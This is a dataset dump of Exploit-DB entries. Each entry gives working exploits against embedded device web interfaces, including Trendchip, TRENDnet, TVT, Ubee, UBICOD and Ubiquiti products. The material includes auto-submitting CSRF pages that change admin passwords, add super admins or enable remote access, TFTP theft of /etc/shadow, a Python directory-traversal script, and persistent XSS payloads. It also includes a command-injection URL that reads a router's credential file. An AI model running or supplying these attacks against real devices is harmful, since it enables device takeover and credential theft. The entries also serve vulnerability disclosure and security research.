deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31690
Description: Trendchip HG520 ADSL2+ Wireless Modem - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2014-02-16
Author: Dhruv Shah

Exploit:
########################################################################

# Exploit Title: Trendchip HG520 ADSL2+ Wireless Modem CSRF Vulnerability
# Google Dork: N/A
# Date: 15/02/2014
# Exploit Author: Dhruv Shah
# Vendor Homepage: N/A
# Software Link : N/A
# Version: Firmware Version:2.11.38.0(RE0.C2B)3.9.9.5
# Tested on: Embedded Allegro RomPager webserver 4.07 UPnP/1.0 (ZyXEL
ZyWALL 2)

# Type of Application : Modem Web Application
# CVE : N/A

########################################################################

Cross Site Request Forgery



This Modem's Web Application , suffers from Cross-site request forgery
through which attacker can manipulate user data via sending him malicious
craft url.



The Modems's Application  not using any security token to prevent it
against CSRF. You can manipulate any userdata. PoC and Exploit to change
user password:

 In the POC the IP address in the POST is the modems IP address.

<html>

<body onload="javascript:document.forms[0].submit()">

<form method="POST" action="http://192.168.2.1/Forms/tools_admin_1"
name="tool_admin">

<input name="uiViewTools_Password" size="30" maxlength="30" value="admin"
type="PASSWORD">

<input name="uiViewTools_PasswordConfirm" size="30" maxlength="30"
value="admin" type="PASSWORD">

</form>

</body>

</html>





______________________

*Dhruv Shah* *aka Snypter*
http://security-geek.in/blog/
Blogger | Researcher | Consultant | Writer
Youtube <http://www.youtube.com/snypter> |
Facebook<http://www.facebook.com/dhruvshahs>|
Linkedin <http://in.linkedin.com/pub/dhruv-shah/26/4a6/aa0> |
Twitter<https://twitter.com/Snypter>|
Blog <http://security-geek.in/blog/>
Exploit-DB #26401
Description: TRENDnet TE100-P1U Print Server Firmware 4.11 - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2013-06-24
Author: Chako

Exploit:
#############################################################
#
# Exploit Title: TRENDnet TE100-P1U Print Server Firmware 4.11  Authentication Bypass Vulnerability
# Date: 2013/6/20 
# Exploit Author: Chako 
# Firmware Version: 4.11
# Tested on: Windows 7
#############################################################


Description:
=====================
A remote authentication bypass vulnerability affects TRENDnet TE100-P1U Print Server. 
This issue is due to a failure of the application to validate authentication 
credentials when processing print server configuration change requests.
An attacker could reset print server to factory sttings or changeing its IP address without
password security check.

Exploit:
=====================

1)Reset Print Server To Factory Settings

<form action="http://IP/Reply.htm" method="POST">
<table border="0" cellpadding="3" cellspacing="0" width="100%">
<tbody><tr><td class="headerbg">Factory Reset</td></tr>
</tbody></table>
<table bgcolor="#FFFFFF" border="0" cellpadding="5" cellspacing="1" width="100%">
<tbody><tr><td height="50" bgcolor="#F0F0F0"> <span class="bluetextbold">Do you want to restore Print Server to factory default setting?</span></td></tr>
</tbody></table><br> 
<input name="Factory" value=" Yes " type="submit" width="60">
</form>



1)Change Print Server IP Address

<form action="http://IP/Network.htm" method="POST">
<table border="0" cellpadding="3" cellspacing="0" width="100%">
<tbody><tr><td class="headerbg">Change IP Address</td></tr>
</tbody></table>
<table bgcolor="#FFFFFF" border="0" cellpadding="5" cellspacing="1" width="100%">
<tbody><tr>
 <td class="bluetextbold" align="right" bgcolor="#C5CEDA" valign="top" width="150"> IP Address:</td>
 <td bgcolor="#F0F0F0" valign="top">
 <table border="0">
 <tbody><tr><td>
  <input name="IP_ASSIGN" value="1" type="radio">Manually Assign
  <table border="0" cellpadding="3" cellspacing="0">
  <tbody><tr>
   <td width="20"></td><td>IP Address</td>
   <td>:  <input size="18" name="IP_Address" value="192.168.1.110" type="text"></td>
  </tr>
  <tr>
   <td></td><td>Subnet Mask</td>
   <td>:  <input size="18" name="Subnet_Mask" value="255.255.255.0" type="text"></td>
  </tr>
  <tr>
   <td></td><td>Default Gateway</td>
   <td>:  <input size="18" name="Default_Gateway" value="192.168.1.254" type="text"></td>
  </tr>
  </tbody></table>
</td></tr>
 
 </tbody></table>
</td>
</tr>
</tbody></table>
<table border="0" cellpadding="5" cellspacing="1" width="100%">
<tbody><tr>
 <td height="50" width="149"> </td>
 <td width="355"> <input name="Config2" value=" Save " type="submit" width="80">  <input value="Cancel" type="reset" width="80"></td>
</tr>
</tbody></table>
</form>
Exploit-DB #33090
Description: TRENDnet TEW-634GRU 1.00.23 - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2014-04-29
Author: SirGod

Exploit:
# Title: TRENDnet TEW-634GRU 1.00.23 Multiple Vulnerabilities
# Author: SirGod
# Website: www.rstforums.com
# Vendor Homepage: http://www.trendnet.com/
# Version: 1.00.23 


1. Local file disclosure

The router has the TFTP service enabled by default and it can be accessed without any prior authentication (since TFTP does not support authentication). The whole filesystem is exposed to any person that is connected to the network.

Proof of concept:

sirgod@linuxbox:~$ tftp 192.168.10.1
tftp> get
(files) /etc/shadow
Received 357 bytes in 0.3 seconds
tftp> quit
sirgod@linuxbox:~$ cat shadow
root::10933:0:99999:7:::
Admin:[REMOVED]:10933:0:99999:7:::
bin::10933:0:99999:7:::
daemon::10933:0:99999:7:::
adm::10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
nobody::10933:0:99999:7:::
ap71::10933:0:99999:7:::


2. Local router crash 

If you upload a file to the router, it will crash. You will have to reset it (physically) and reconfigure it. After the file is uploaded, accessing the router's IP will give you a blank page and then it will crash.

Proof of concept:

sirgod@linuxbox:~$ tftp 192.168.10.1
tftp> put
(file) /home/file.txt /www/file.txt


3. Privilege escalation

The web app incorporates two types of login: user and admin. Few actions (load settings, reset settings) require an admin account to perform them. The validation is done client-side, in JavaScript. See the following code snippet:

settings.asp

--- START CODE SNIPPET --- 

	function check_load_settings(){
		var login_who="user"; 
		if(login_who== "user"){
			window.location.href ="back.asp";
		}else{
			if(confirm(msg[MSG17])){
				if (get_by_id("file").value == ''){
					alert(msg[MSG33]);
				}else{
					send_submit("form1");
				}		
			}
		}
	}
	
	function check_restore_default(){		
		var login_who="user";
		if(login_who== "user"){
			window.location.href ="back.asp";
		}else{
			if(confirm(msg[MSG34])){
		    	send_submit("form2");
		   	}
		}
	}

--- END CODE SNIPPET --- 

There are two ways to bypass this:

a) The easy way: submit the form from the JavaScript console, directly from your browser, by running:

send_submit("form2"); // To restore factory default settings
send_submit("form3"); // To restore configuration settings (existent). You must select a file beforehand.


b) The other way: You can save the page locally, change the value of the variable and run it.
Exploit-DB #45088
Description: Trivum Multiroom Setup Tool 8.76 - Corss-Site Request Forgery (Admin Bypass)
Type: webapps
Platform: hardware
Date: 2018-07-26
Author: vulnc0d3

Exploit:
# Exploit Title: Trivum Multiroom Setup Tool 8.76 - Corss-Site Request Forgery (Admin Bypass)
# Date: 2018-07-25
# Software Link: [https://world.trivum-shop.de](https://world.trivum-shop.de/)
# https://world.trivum-shop.de/# Version: < 9.34 build 13381 - 12.07.18
# Category: hardware, webapps
# Tested on: V8.76 - SNR 8604.26 - C4 Professional
# Exploit Author: vulnc0d3c
# CVE: CVE-2018-13859

# 1. Description
# MusicCenter / Trivum Multiroom Setup Tool V8.76 - SNR 8604.26 - C4 Professional before V9.34 build 13381 - 12.07.18,
# allow unauthorized remote attackers to reset the authentication via "/xml/system/setAttribute.xml" URL, using GET request
# to the end-point "?id=0&attr=protectAccess&newValue=0"
# (successful attack will allow attackers to login without authorization).

# 2. Proof of Concept
# GET Request

http://target/xml/system/setAttribute.xml?id=0&attr=protectAccess&newValue=0
Exploit-DB #48311
Description: TVT NVMS 1000 - Directory Traversal
Type: webapps
Platform: hardware
Date: 2020-04-13
Author: Mohin Paramasivam

Exploit:
# Exploit Title: TVT NVMS 1000 - Directory Traversal 
# Date: 2020-04-13
# Exploit Author: Mohin Paramasivam (Shad0wQu35t)
# Vendor Homepage: http://en.tvt.net.cn/
# Version : N/A
# Software Link : http://en.tvt.net.cn/products/188.html
# Original Author : Numan Türle
# CVE : CVE-2019-20085

import sys
import requests
import os
import time

if len(sys.argv) !=4:
	print "  "
	print "Usage : python exploit.py url filename outputname"
	print "Example : python exploit.py http://10.10.10.10/ windows/win.ini win.ini"	
	print "	"
else:


	traversal = "../../../../../../../../../../../../../"
	filename = sys.argv[2]
	url = sys.argv[1]+traversal+filename
	outputname = sys.argv[3]
	content = requests.get(url)

	if content.status_code == 200:
		
		print " "
		print "Directory Traversal Succeeded"
		time.sleep(3)
		print " "
		print "Saving Output"
		os.system("touch " + outputname)
		output_write = open(outputname,"r+")
		output_write.write(content.text)
		output_write.close()

	else:

		print "Host not vulnerable to Directory Traversal!"
Exploit-DB #29959
Description: TVT TD-2308SS-B DVR - Directory Traversal
Type: webapps
Platform: hardware
Date: 2013-12-01
Author: Cesar Neira

Exploit:
# Exploit Title: TVT TD-2308SS-B DVR directory traversal
# Shodan Dork: "Cross Web Server"
# Date: 01 Dec 2013
# Disclosure date: 10 Sep 2013
# Exploit Author: Cesar Neira
# Vendor Homepage: http://en.tvt.net.cn/
# Affected Firmware Versions:
3.1.43.B
3.1.43.P
3.1.6.P-1.0.2.1-03
3.1.75.B-1.0.2.1-00
3.1.7.B-1.0.2.1-00
3.1.81.B-1.0.2.1-00
3.1.83.B-1.0.2.1-00
3.1.83.P-1.0.4.2-03
3.1.87.P-1.0.4.2-17
3.1.91.P-1.0.2.1-03
3.1.92.P-1.0.2.1-00
3.1.93.B-1.0.2.1-17
3.2.0.B-1.0.2.1-17
3.2.0.P-1.0.2.1-03
3.2.0.P-1.0.2.1-17
3.2.0.P-1.0.6.0.32-00
3.2.0.P-3520A-00
3.2.0.P-3520A-03
3.2.0.P-3531-00
3.2.0.P-3531-11
3.2.0.P-FH-00
3.2.9.P-3520A-06
maybe others.
# Tested on: TVT DVR TD-2308SS-B
# CVE : CVE-2013-6023
# References:
http://www.kb.cert.org/vuls/id/785838
http://alguienenlafisi.blogspot.com/2013/10/dvr-tvt-directory-traversal.html

POC:

curl http://[IP Address]/../../../mnt/mtd/config/config.dat 2>/dev/null | strings

-- 
Cesar Neira <csar.1603@gmail.com>
http://alguienenlafisi.blogspot.com
Root-Node


Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29959.nse
Exploit-DB #32238
Description: Ubee EVW3200 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2014-03-13
Author: Jeroen - IT Nerdbox

Exploit:
# Exploit Title: Ubee EVW3200 - Multiple Cross Site Request Forgery

# Google Dork: N/A

# Date: 02-03-2014

# Exploit Author: Jeroen - IT Nerdbox

# Vendor Homepage: http://www.ubeeinteractive.com/

# Software Link:
http://www.ubeeinteractive.com/products/cable?field_product_catetory_tid=20

# Version: All

# Tested on: N/A

# CVE : N/A

#

## Description:

#

# The Ubee ECV3200 does not use Anti CSRF tokens in any of its forms. 

#

## PoC:

# 

# <form name="reseller" method="POST"
action="http://192.168.178.1/goform/RgContentFilter" id="csrf_attack"
target="csrf_iframe">

#   <input type="hidden" name="cbFirewall" value="0">

# </form>

#

# <iframe id="csrf_iframe" style="visibility:hidden;display:none"></iframe>

#

# <script>

#  document.getElementById('csrf_attack').submit();

# </script>

# <center>The payload has been executed....</center> 

#</html>

#

#

# More information can be found at:
http://www.nerdbox.it/ubee-evw3200-multiple-vulnerabilities/
Exploit-DB #32237
Description: Ubee EVW3200 - Multiple Persistent Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: hardware
Date: 2014-03-13
Author: Jeroen - IT Nerdbox

Exploit:
# Exploit Title: Ubee EVW3200 - Multiple Persistent Cross Site Scripting

# Google Dork: N/A

# Date: 02-03-2014

# Exploit Author: Jeroen - IT Nerdbox

# Vendor Homepage: http://www.ubeeinteractive.com/

# Software Link:
http://www.ubeeinteractive.com/products/cable?field_product_catetory_tid=20

# Version: All

# Tested on: N/A

# CVE : N/A

#

## Description:

#

# The SSID and Device name settings in the wireless configuration do not
sanitize their input.

#

# The VPN Tunnel name is also vulnerable for persistent XSS

#

## PoC:

#

#   Entering the following payload in one of these fields will execute
javascript:

#

#  "><input onmouseover=prompt(1)>  or "><button
onclick=prompt(1)>XSS</button>

# 

#

# More information can be found at:
http://www.nerdbox.it/ubee-evw3200-multiple-vulnerabilities/
Exploit-DB #49920
Description: Ubee EVW327 - 'Enable Remote Access' Cross-Site Request Forgery (CSRF)
Type: webapps
Platform: hardware
Date: 2021-06-01
Author: lated

Exploit:
# Exploit Title: Ubee EVW327 - 'Enable Remote Access' Cross-Site Request Forgery (CSRF) 
# Date: 2021-05-30
# Exploit Author: lated
# Vendor Homepage: https://www.ubeeinteractive.com
# Version: EVW327

<html>
	<body>
		<form action="http://192.168.0.1/goform/UbeeMgmtRemoteAccess" method="POST">
			<input type="hidden" name="RemoteAccessEnable" value="1"/>
			<input type="hidden" name="RemoteAccessPort" value="8080"/>
			<input type="hidden" name="ApplyRemoteEnableAction" value="1"/>
		</form>
		<script>
			document.forms[0].submit();
		</script>
	</body>
</html>
Exploit-DB #48684
Description: UBICOD Medivision Digital Signage 1.5.1 - Authorization Bypass
Type: webapps
Platform: hardware
Date: 2020-07-23
Author: LiquidWorm

Exploit:
# Title: UBICOD Medivision Digital Signage 1.5.1 - Authorization Bypass
# Date: 2020-07-23
# Author: LiquidWorm
# Product web page: http://www.medivision.co.kr
# CVE: N/A

Vendor: UBICOD Co., Ltd. | MEDIVISION INC.
Product web page: http://www.medivision.co.kr
Affected version: Firmware 1.5.1 (2013.01.3)

Summary: Medivision is a service that provides everything from DID operation to
development of DID (Digital Information Display) optimized for hospital environment
and production of professional contents, through DID product installation, image,
video content planning, design work, and remote control. This is a one-stop solution
that solves management at once.

Desc: The application suffers from a privilege escalation vulnerability. Normal user
can elevate his/her privileges by navigating to /html/user (via IDOR) page sending an
HTTP GET request setting the parameter 'ft[grp]' to integer value '3' gaining super
admin rights.

Tested on: Apache/2.4.7 (Ubuntu)
           PHP/5.5.9-1ubuntu4.22


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5575
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5575.php


19.06.2020

--


<html>
  <body>
    <form action="http://10.0.39.2/query/user/itSet" method="POST">
      <input type="hidden" name="aa[_id]" value="157" />
      <input type="hidden" name="aa[pass]" value="123456" />
      <input type="hidden" name="od[]" value="name" />
      <input type="hidden" name="ft[grp]" value="3" />
      <input type="hidden" name="ip" value="0" />
      <input type="hidden" name="np" value="13" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #48694
Description: UBICOD Medivision Digital Signage 1.5.1 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: hardware
Date: 2020-07-26
Author: LiquidWorm

Exploit:
# Title: UBICOD Medivision Digital Signage 1.5.1 - Cross-Site Request Forgery (Add Admin)
# Date: 2020-07-23
# Author: LiquidWorm
# Product web page: http://www.medivision.co.kr
# CVE: N/A

<!--

UBICOD Medivision Digital Signage 1.5.1 CSRF Add Super Admin


Vendor: UBICOD Co., Ltd. | MEDIVISION INC.
Product web page: http://www.medivision.co.kr
Affected version: Firmware 1.5.1 (2013.01.3)

Summary: Medivision is a service that provides everything from DID operation to
development of DID (Digital Information Display) optimized for hospital environment
and production of professional contents, through DID product installation, image,
video content planning, design work, and remote control. This is a one-stop solution
that solves management at once.

Desc: The application interface allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests. This can
be exploited to perform certain actions with administrative privileges if a logged-in
user visits a malicious web site.

Tested on: Apache/2.4.7 (Ubuntu)
           PHP/5.5.9-1ubuntu4.22


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5574
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5574.php


19.06.2020

-->


<html>
  <body>
    <form action="http://10.0.39.2/query/user/itSet" method="POST">
      <input type="hidden" name="aa[_id]" value="" />
      <input type="hidden" name="aa[uid]" value="testingus2" />
      <input type="hidden" name="aa[name]" value="TestN" />
      <input type="hidden" name="aa[pass]" value="123456" />
      <input type="hidden" name="aa[email]" value="aa2@bb.cc" />
      <input type="hidden" name="aa[mobile]" value="[PII_REDACTED]" />
      <input type="hidden" name="aa[phone]" value="[PII_REDACTED]" />
      <input type="hidden" name="aa[approval]" value="+" />
      <input type="hidden" name="aa[grp]" value="3" />
      <input type="hidden" name="od[]" value="name" />
      <input type="hidden" name="ip" value="0" />
      <input type="hidden" name="np" value="13" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #34187
Description: Ubiquiti UbiFi / mFi / AirVision - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2014-07-28
Author: Seth Art

Exploit:
# Vendor Homepage: (http://www.ubnt.com/)

# Tested on: Kali Linux
-----------------------------------------
Affected Products/Versions:
-----------------------------------------
UniFi Controller v2.4.6
mFi Controller v2.0.15
AirVision Controller v2.1.3
Note: Previous versions may be affected


-----------------
Description:
-----------------
Title: Cross-site Request Forgery (CSRF)
CVE: CVE-2014-2225
CWE: http://cwe.mitre.org/data/definitions/352.html


Detailed writeup: http://sethsec.blogspot.com/2014/07/cve-2014-2225.html
Researcher: Seth Art - @sethsec

---------------
UniFi POC:

---------------

<html>
<head>
<script>
function sendCSRF()
{
var url_base = "https://192.168.0.106:8443/api/add/admin"

var post_data="%7B%22name%22%3A%22csrf%22%2C%22lang%22%3A%22en_US%22%2C%22x_password%22%3A%22csrf%22%7D"

var xmlhttp;
xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", url_base, true);
xmlhttp.setRequestHeader("Accept","*/*");
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded;


charset=UTF-8");
xmlhttp.withCredentials= "true";
xmlhttp.send(post_data);
}

</script>
</head>
<body>
<h1>CSRF POC</h1>
Sending CSRF Payload!!!

<body onload="sendCSRF()">

</body>

-------------
mFi POC:
-------------
<html>
<head>
<script>
function sendCSRF()
{
var url_base = "https://192.168.0.106:6443/api/v1.0/add/admin"


var post_data="%7B%22name%22%3A%22csrf%22%2C%22lang%22%3A%22en_US%22%2C%22x_password%22%3A%22csrf%22%7D"

var xmlhttp;
xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", url_base, true);


xmlhttp.setRequestHeader("Accept","*/*");
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded;
charset=UTF-8");
xmlhttp.withCredentials= "true";


xmlhttp.send(post_data);
}

</script>
</head>
<body>
<h1>CSRF POC</h1>
Sending CSRF Payload!!!
<body onload="sendCSRF()">
</body>



--------------------

AirVision POC:
--------------------
<html>
<head>
<script>
function sendCSRF()
{
var url_base = "https://192.168.0.106:7443/api/v2.0/admin"


var post_data="{\”name\”:\”csrf\”,\”email\”:\”csrf@gmail.com\”,\”userGroup:\”:\”admin\”,\”x_password\”:\”password\”,\”confirmPassword\”:\”password\”,\”disabled\”:\”false\”}”


var xmlhttp;
xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", url_base, true);
xmlhttp.setRequestHeader("Accept","*/*");
xmlhttp.setRequestHeader("Content-type","application/plain; charset=UTF-8");


xmlhttp.withCredentials= "true";
xmlhttp.send(post_data);
}

</script>
</head>
<body>
<h1>CSRF POC</h1>
Sending CSRF Payload!!!
<body onload="sendCSRF()">


</body>



-------------
Solution:
-------------
UniFi Controller - Upgrade to UniFi Controller v3.2.1 or greater
mFi Controller - Upgrade to mFi Controller v2.0.24 or greater
AirVision Controller - Upgrade to UniFi Video v3.0.1 or greater (Note:

The application name changed from AirVision to UniFi Video)
Exploit-DB #14146
Description: Ubiquity Nanostation5 (Air OS) - Remote Command Execution
Type: webapps
Platform: hardware
Date: 2010-06-30
Author: emgent

Exploit:
# Exploit Title: Ubiquity Nanostation5 (Air OS) 0day Remote Command Execution
# Date: 01 07 2010
# Author: Emanuele 'emgent' Gentili
# Software Link: N/A
# Version: AirOS all firmwares
# CVE : N/A


[+] Vulnerability Descrition
With not privileged account, like read-only, an attacker is able to execute commands into
the system via web application panel. Knowing that the system.cfg file is located in /tmp/ directory,
will be simple read the content (like users, password, wireless key ecc.).
The vulnerable function is about "Show AP info", that is located in the main page of web panel
in the section "Extra Informations".


[+] The Remote Command Execution string
http://router_ip/stainfo.cgi?ifname=eth0;cat%20/tmp/system.cfg|grep%20users


[+] Responsible Disclosure
After some mail with Ubnt QA and Security Team people, the fixed firmware was released.